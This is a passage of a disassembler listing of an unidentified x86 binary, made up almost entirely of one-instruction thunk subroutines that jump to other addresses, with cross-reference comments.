T I N E ======================================= ; Attributes: thunk sub_4017F3 proc near ; CODE XREF: sub_406890+205p jmp sub_41B820 sub_4017F3 endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4017FD proc near ; CODE XREF: ___:00426A13p jmp sub_426A40 sub_4017FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401802 proc near ; CODE XREF: sub_41E660+FFp ; sub_41E660+179p ... jmp sub_421A80 sub_401802 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401807 proc near ; CODE XREF: sub_40A110+7p jmp sub_40A130 sub_401807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40180C proc near ; CODE XREF: sub_40B430+76p jmp sub_40B390 sub_40180C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401811 proc near ; CODE XREF: ___:00423E93p ; DATA XREF: ___:off_44443Co jmp sub_425020 sub_401811 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401816 proc near ; CODE XREF: sub_41E660+18Ep ; ___:0043B183j jmp sub_4218F0 sub_401816 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40181B proc near ; DATA XREF: ___:off_43E10Co jmp sub_426F20 sub_40181B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401820 proc near ; CODE XREF: ___:00416DDFp jmp sub_417DF0 sub_401820 endp ; --------------------------------------------------------------------------- jmp loc_42EC20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182A proc near ; CODE XREF: sub_41E660+3BCp ; sub_4225B0+3p jmp sub_421C50 sub_40182A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40182F proc near ; CODE XREF: sub_4266A0+90p jmp sub_426960 sub_40182F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401834 proc near ; CODE XREF: ___:0042436Dp ; sub_424840+135p jmp sub_4243A0 sub_401834 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401839 proc near ; CODE XREF: sub_40BE40+3p ; ___:0040BF0Fp ... jmp sub_40C080 sub_401839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40183E proc near ; CODE XREF: sub_4070F0+36p ; sub_4070F0+72p ... jmp sub_407340 sub_40183E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401843 proc near ; CODE XREF: ___:00413181p jmp sub_415680 sub_401843 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401848 proc near ; CODE XREF: ___:0040B9D1p ; ___:0040BA98p ... jmp sub_412AA0 sub_401848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40184D proc near ; CODE XREF: ___:00431FEFp ; ___:004320FFp ... jmp sub_431B30 sub_40184D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401852 proc near ; DATA XREF: ___:004322AAo ; ___:00432410o jmp sub_431BA0 sub_401852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401857 proc near ; CODE XREF: sub_416360+7p jmp sub_416740 sub_401857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40185C proc near ; CODE XREF: sub_418330+34p jmp sub_404C20 sub_40185C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401861 proc near ; CODE XREF: sub_4034E0+7Ap ; sub_4034E0+9Ep ... jmp sub_409B40 sub_401861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401866 proc near ; CODE XREF: sub_420530+152p jmp sub_4207A0 sub_401866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40186B proc near ; CODE XREF: ___:0041A228p ; sub_41B010+3p ... jmp sub_41B040 sub_40186B endp ; --------------------------------------------------------------------------- jmp loc_429D70 ; --------------------------------------------------------------------------- jmp loc_41C0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187A proc near ; CODE XREF: ___:00416A4Bp ; ___:00439F6Cj ... jmp sub_416D10 sub_40187A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40187F proc near ; CODE XREF: sub_40FF60+217p ; sub_41FD90+4Cp ... jmp sub_41FD50 sub_40187F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401884 proc near ; CODE XREF: sub_429AA0+9Dp jmp sub_428160 sub_401884 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401889 proc near ; CODE XREF: ___:0042C005p jmp sub_427DC0 sub_401889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40188E proc near ; DATA XREF: ___:0043E184o jmp sub_42A150 sub_40188E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401893 proc near ; CODE XREF: sub_41B4B0+DDp jmp sub_41AD30 sub_401893 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401898 proc near jmp sub_432ED0 sub_401898 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40189D proc near ; CODE XREF: ___:004141C5p ; sub_414D40+1B2p jmp sub_413DA0 sub_40189D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A2 proc near ; CODE XREF: sub_411FE0+1B6p jmp sub_40A110 sub_4018A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018A7 proc near ; CODE XREF: sub_41E660+5ABp jmp sub_4203D0 sub_4018A7 endp ; --------------------------------------------------------------------------- jmp loc_431D10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B1 proc near ; CODE XREF: sub_40A910+14p jmp sub_40ABC0 sub_4018B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018B6 proc near ; CODE XREF: sub_413510+B4p ; ___:00414B90p ... jmp sub_415620 sub_4018B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018BB proc near ; CODE XREF: sub_41A2B0+6Dp ; sub_41A2B0+1B5p jmp sub_41AF60 sub_4018BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C0 proc near ; CODE XREF: ___:004310DAp jmp sub_430A90 sub_4018C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018C5 proc near ; CODE XREF: sub_418E90+5Fp jmp sub_419030 sub_4018C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018CA proc near ; CODE XREF: ___:00416A9Bp ; ___:00439F26j ... jmp sub_4178F0 sub_4018CA endp ; --------------------------------------------------------------------------- jmp loc_419DD0 ; --------------------------------------------------------------------------- jmp sub_41A0E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018D9 proc near ; CODE XREF: sub_41E660+46p jmp sub_4218B0 sub_4018D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018DE proc near ; CODE XREF: ___:0042C135p jmp sub_4299C0 sub_4018DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018E3 proc near ; CODE XREF: sub_422130+7p jmp sub_422520 sub_4018E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018E8 proc near ; CODE XREF: sub_421FB0+9p ; sub_422410+18p jmp sub_422590 sub_4018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018ED proc near ; CODE XREF: sub_4221B0+8p jmp sub_422570 sub_4018ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4018F2 proc near ; CODE XREF: sub_4133D0+43p ; sub_4147D0+4Fp ... jmp sub_415730 sub_4018F2 endp ; --------------------------------------------------------------------------- jmp loc_430A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4018FC proc near ; CODE XREF: sub_4219D0+1Fp jmp sub_421D50 sub_4018FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401901 proc near ; CODE XREF: sub_4218B0+11p ; sub_421D50+1Fp jmp sub_421E80 sub_401901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401906 proc near ; CODE XREF: sub_40B390+6Dp jmp sub_40BD90 sub_401906 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40190B proc near ; CODE XREF: sub_409450+13p jmp sub_409580 sub_40190B endp ; --------------------------------------------------------------------------- jmp loc_4365C0 ; --------------------------------------------------------------------------- jmp sub_41B010 ; --------------------------------------------------------------------------- loc_40191A: ; DATA XREF: ___:off_43E068o jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40191F proc near ; CODE XREF: ___:00413B31p jmp sub_4139B0 sub_40191F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401924 proc near ; CODE XREF: ___:00413193p ; sub_413220+32p jmp sub_4154D0 sub_401924 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401929 proc near ; CODE XREF: ___:00416B4Bp ; ___:00439E8Cj ... jmp sub_417020 sub_401929 endp ; --------------------------------------------------------------------------- jmp loc_4310A0 ; --------------------------------------------------------------------------- jmp loc_4334F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401938 proc near ; CODE XREF: sub_41C610+F1p ; sub_41C610+270p ... jmp sub_420E10 sub_401938 endp ; --------------------------------------------------------------------------- jmp loc_40A400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401942 proc near ; CODE XREF: sub_404C70+283p ; sub_40ED70+D2p ... jmp sub_40EF90 sub_401942 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401947 proc near ; CODE XREF: sub_4218F0+34p ; sub_422240+67p jmp sub_421ED0 sub_401947 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40194C proc near ; CODE XREF: sub_404C70+BF7p jmp sub_4066E0 sub_40194C endp ; --------------------------------------------------------------------------- jmp loc_432360 ; --------------------------------------------------------------------------- loc_401956: ; DATA XREF: sub_41FC00+39o jmp loc_41FB30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40195B proc near ; CODE XREF: ___:0041A19Ep ; sub_41A2B0+Bp ... jmp sub_41A290 sub_40195B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401960 proc near ; CODE XREF: ___:0041AB86p ; ___:0041AC66p jmp sub_41A890 sub_401960 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401965 proc near jmp sub_419220 sub_401965 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196A proc near ; CODE XREF: sub_411910+2Ep ; sub_411B10+3p jmp sub_411A50 sub_40196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40196F proc near ; CODE XREF: sub_41E660+F5p ; sub_41E660+16Fp ... jmp sub_4219A0 sub_40196F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401974 proc near ; CODE XREF: sub_409450+4p ; sub_409600+1Fp ... jmp sub_409500 sub_401974 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401979 proc near jmp sub_409A30 sub_401979 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40197E proc near ; CODE XREF: sub_41F860+20p ; sub_429AA0+37p jmp sub_41FE50 sub_40197E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401983 proc near ; CODE XREF: sub_413510+4Ap ; ___:00414B3Fp ... jmp sub_415420 sub_401983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401988 proc near ; CODE XREF: sub_40A430+A8p jmp sub_40A850 sub_401988 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40198D proc near ; CODE XREF: sub_40CBB0+41p jmp sub_40CE60 sub_40198D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401992 proc near ; CODE XREF: ___:00433405p ; ___:00433505p jmp sub_433160 sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401997 proc near ; CODE XREF: sub_4218F0+29p jmp sub_421DF0 sub_401997 endp ; --------------------------------------------------------------------------- jmp loc_42ECF0 ; --------------------------------------------------------------------------- jmp loc_42ECC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019A6 proc near ; CODE XREF: sub_40A790+Dp ; sub_40A9F0+91p jmp sub_40A910 sub_4019A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019AB proc near ; CODE XREF: sub_422050+23p ; sub_422410+11p jmp sub_4225B0 sub_4019AB endp ; --------------------------------------------------------------------------- jmp loc_41AB20 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019B5 proc near ; CODE XREF: sub_403FC0+2Cp ; ___:0040403Fp ... jmp sub_4034E0 sub_4019B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BA proc near ; CODE XREF: sub_422750+6p jmp sub_4227C0 sub_4019BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019BF proc near ; DATA XREF: ___:off_43E050o jmp sub_416C30 sub_4019BF endp ; --------------------------------------------------------------------------- jmp sub_40FD70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019C9 proc near ; CODE XREF: sub_407410+4p jmp sub_407540 sub_4019C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019CE proc near ; CODE XREF: ___:0040B629p ; ___:0040BA46p ... jmp sub_40B520 sub_4019CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019D3 proc near ; CODE XREF: sub_40FF60+AF4p ; sub_40FF60+E6Ap jmp sub_411B10 sub_4019D3 endp ; --------------------------------------------------------------------------- jmp loc_432940 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019DD proc near ; CODE XREF: sub_4144D0+CEp jmp sub_414640 sub_4019DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019E2 proc near ; DATA XREF: ___:0043E1C8o jmp sub_42B880 sub_4019E2 endp ; --------------------------------------------------------------------------- loc_4019E7: ; DATA XREF: ___:off_43E0D0o jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019EC proc near ; CODE XREF: sub_421A10+3p jmp sub_421F30 sub_4019EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F1 proc near ; CODE XREF: ___:00416D8Fp jmp sub_40B0B0 sub_4019F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4019F6 proc near jmp sub_4132E0 sub_4019F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4019FB proc near ; CODE XREF: sub_41E660+477p jmp sub_4200F0 sub_4019FB endp ; --------------------------------------------------------------------------- jmp loc_421850 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A05 proc near ; DATA XREF: ___:0043E124o jmp sub_427650 sub_401A05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A0A proc near jmp sub_411B40 sub_401A0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A0F proc near ; CODE XREF: sub_4331D0+92p jmp sub_430940 sub_401A0F endp ; --------------------------------------------------------------------------- jmp loc_427FC0 ; --------------------------------------------------------------------------- jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A1E proc near ; CODE XREF: sub_421DF0+32p jmp sub_422240 sub_401A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A23 proc near ; CODE XREF: ___:00416ADBp ; sub_416C30+3p ... jmp sub_416C00 sub_401A23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A28 proc near ; CODE XREF: ___:00423A04p ; ___:004272F8p ... jmp sub_420D00 sub_401A28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A2D proc near ; CODE XREF: sub_422210+Ap jmp sub_422620 sub_401A2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A32 proc near ; CODE XREF: ___:00412ECFp ; ___:00412F84p ... jmp sub_404640 sub_401A32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A37 proc near ; CODE XREF: sub_409450+1Ap ; sub_409530+4p ... jmp sub_4094C0 sub_401A37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A3C proc near ; DATA XREF: ___:off_43E028o jmp sub_40FD70 sub_401A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A41 proc near ; DATA XREF: ___:0043E0E4o jmp sub_4266A0 sub_401A41 endp ; --------------------------------------------------------------------------- jmp loc_409D50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A4B proc near ; CODE XREF: sub_415AA0+1Ep jmp sub_416550 sub_401A4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A50 proc near ; CODE XREF: ___:0042F2F0p ; sub_430F00+36p ... jmp sub_430340 sub_401A50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A55 proc near ; CODE XREF: sub_4137E0+3Ep jmp sub_433900 sub_401A55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5A proc near ; CODE XREF: sub_4149A0+3p jmp sub_4149D0 sub_401A5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A5F proc near ; CODE XREF: ___:004081DDp ; ___:0040866Ep jmp sub_409490 sub_401A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A64 proc near ; DATA XREF: ___:0043E0E0o ; ___:0043E0F0o ... jmp sub_4263D0 sub_401A64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A69 proc near ; CODE XREF: sub_41D830+1ADp jmp sub_42C810 sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A6E proc near ; CODE XREF: sub_420530+191p ; sub_4227C0+3p ... jmp sub_4207C0 sub_401A6E endp ; --------------------------------------------------------------------------- jmp loc_42EFF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A78 proc near ; CODE XREF: sub_4225E0+5p jmp sub_422750 sub_401A78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A7D proc near ; CODE XREF: ___:00416E4Ap jmp sub_418100 sub_401A7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A82 proc near ; CODE XREF: sub_407220+5p ; sub_407310+6p ... jmp sub_407460 sub_401A82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A87 proc near ; CODE XREF: sub_4034E0+90p ; sub_404C70+40Fp ... jmp sub_40A6A0 sub_401A87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A8C proc near ; CODE XREF: sub_41D830+2FFp ; sub_41EF30+52Fp jmp sub_41FD90 sub_401A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A91 proc near ; CODE XREF: ___:00431DCAp jmp sub_42F840 sub_401A91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401A96 proc near ; CODE XREF: sub_415490+1Fp jmp sub_415DD0 sub_401A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401A9B proc near ; CODE XREF: sub_4034E0+E5p ; sub_409E70+Fp ... jmp sub_409DA0 sub_401A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AA0 proc near ; CODE XREF: sub_431560+17p ; sub_431560+33p jmp sub_433710 sub_401AA0 endp ; --------------------------------------------------------------------------- jmp loc_433480 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_11. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_401AAF: ; DATA XREF: ___:off_43E0FCo jmp loc_426A10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB4 proc near ; CODE XREF: sub_424E90+E5p ; sub_424E90+120p jmp sub_424D40 sub_401AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AB9 proc near ; DATA XREF: ___:off_43E034o jmp sub_411FE0 sub_401AB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401ABE proc near ; DATA XREF: ___:0041FB33o jmp sub_41FA90 sub_401ABE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AC3 proc near ; CODE XREF: sub_4070F0+Bp jmp sub_4072D0 sub_401AC3 endp ; --------------------------------------------------------------------------- jmp loc_432BA0 ; --------------------------------------------------------------------------- loc_401ACD: ; DATA XREF: ___:off_43E020o jmp loc_40B8D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD2 proc near ; CODE XREF: sub_403EE0+2Bp ; sub_403EE0+3Bp ... jmp sub_403D10 sub_401AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AD7 proc near ; CODE XREF: sub_413510+66p ; sub_413510+CAp ... jmp sub_415650 sub_401AD7 endp ; --------------------------------------------------------------------------- jmp loc_41B780 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE1 proc near jmp sub_4227F0 sub_401AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AE6 proc near ; CODE XREF: ___:00416B2Bp ; ___:00439EA8j ... jmp sub_40B170 sub_401AE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AEB proc near ; CODE XREF: ___:00421764p ; ___:0042179Ep jmp sub_4215D0 sub_401AEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF0 proc near ; CODE XREF: sub_404BE0+15p jmp sub_4070F0 sub_401AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401AF5 proc near ; DATA XREF: ___:off_43E0BCo jmp sub_41A0E0 sub_401AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401AFA proc near ; CODE XREF: ___:00416F0Fp jmp sub_418900 sub_401AFA endp ; --------------------------------------------------------------------------- loc_401AFF: ; CODE XREF: ___:00438C76j jmp loc_40CAF0 ; --------------------------------------------------------------------------- loc_401B04: ; DATA XREF: ___:off_43E16Co jmp loc_429D70 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B09 proc near ; CODE XREF: sub_416FB0+28p jmp sub_418890 sub_401B09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B0E proc near ; CODE XREF: ___:004319E7p jmp sub_431A20 sub_401B0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B13 proc near ; CODE XREF: sub_42FF50+Bp jmp sub_4303D0 sub_401B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B18 proc near jmp sub_40AEA0 sub_401B18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B1D proc near ; CODE XREF: ___:00418C7Bp ; sub_418E90+28p ... jmp sub_418F50 sub_401B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B22 proc near ; DATA XREF: ___:off_43E1B0o jmp sub_42B4F0 sub_401B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B27 proc near ; CODE XREF: ___:00416A7Bp ; ___:00439F42j ... jmp sub_4179D0 sub_401B27 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B2C proc near ; CODE XREF: ___:00408713p ; ___:00408734p ... jmp sub_407660 sub_401B2C endp ; --------------------------------------------------------------------------- jmp loc_414AF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B36 proc near ; CODE XREF: sub_41C610+83p ; sub_4282C0+3Fp jmp sub_41D540 sub_401B36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B3B proc near ; CODE XREF: sub_41A890+11p jmp sub_41A8C0 sub_401B3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B40 proc near ; CODE XREF: sub_41E660+339p jmp sub_421C10 sub_401B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B45 proc near ; CODE XREF: sub_414C70+3p jmp sub_414CA0 sub_401B45 endp ; --------------------------------------------------------------------------- jmp loc_432CA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B4F proc near ; CODE XREF: sub_42FAA0+29p jmp sub_42F540 sub_401B4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B54 proc near ; CODE XREF: sub_40FDA0+38p ; ___:00439158j jmp sub_412BC0 sub_401B54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B59 proc near jmp sub_40D580 sub_401B59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B5E proc near ; CODE XREF: sub_407660+3Bp ; sub_4076F0+43p jmp sub_40B430 sub_401B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B63 proc near ; CODE XREF: sub_4072D0+3p jmp sub_4074A0 sub_401B63 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B68 proc near ; CODE XREF: sub_424840+9Dp ; sub_424840+FBp ... jmp sub_4245F0 sub_401B68 endp ; --------------------------------------------------------------------------- loc_401B6D: ; DATA XREF: ___:off_43E084o jmp loc_425BD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B72 proc near ; CODE XREF: sub_40FF60+413p ; sub_40FF60+F69p ... jmp sub_409F60 sub_401B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B77 proc near ; CODE XREF: ___:00425474p jmp sub_4254E0 sub_401B77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B7C proc near ; CODE XREF: sub_422050+32p jmp sub_422410 sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B81 proc near ; CODE XREF: sub_41B4B0+A5p jmp sub_41A6D0 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B86 proc near ; CODE XREF: sub_40BF60+23p ; sub_40C120+11p jmp sub_40C2C0 sub_401B86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B8B proc near ; CODE XREF: ___:0042B833p jmp sub_42B860 sub_401B8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401B90 proc near jmp sub_41E140 sub_401B90 endp ; --------------------------------------------------------------------------- loc_401B95: ; DATA XREF: sub_42FF50+86o jmp loc_431650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401B9A proc near ; CODE XREF: sub_409530+20p jmp sub_409600 sub_401B9A endp ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BA4 proc near ; DATA XREF: ___:off_43E0A4o jmp sub_40CBB0 sub_401BA4 endp ; --------------------------------------------------------------------------- jmp loc_4309D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BAE proc near ; CODE XREF: sub_421BD0+1Fp jmp sub_421FB0 sub_401BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BB3 proc near ; CODE XREF: sub_427520+39p jmp sub_4270E0 sub_401BB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BB8 proc near ; CODE XREF: sub_415730+5p ; sub_415930+6p ... jmp sub_416380 sub_401BB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BBD proc near ; CODE XREF: sub_4303D0+5Dp ; sub_431730+3Ep jmp sub_4304D0 sub_401BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC2 proc near ; CODE XREF: ___:00432129p ; ___:0043214Ap ... jmp sub_430C00 sub_401BC2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BC7 proc near ; CODE XREF: ___:00425DA2p jmp sub_4269A0 sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BCC proc near ; CODE XREF: sub_41B3D0+3p jmp sub_41B400 sub_401BCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD1 proc near ; CODE XREF: sub_428220+3p jmp sub_428250 sub_401BD1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BD6 proc near ; CODE XREF: sub_422A40+924p ; ___:0042408Ap jmp sub_4258E0 sub_401BD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BDB proc near ; CODE XREF: sub_42D2C0+18Dp ; sub_42D2C0+1CDp ... jmp sub_42DFD0 sub_401BDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE0 proc near ; CODE XREF: ___:0041426Cp jmp sub_414360 sub_401BE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401BE5 proc near jmp sub_40C360 sub_401BE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEA proc near ; CODE XREF: sub_425020+8Bp jmp sub_424840 sub_401BEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401BEF proc near ; CODE XREF: ___:0040B11Ep ; sub_40B170+34p ... jmp 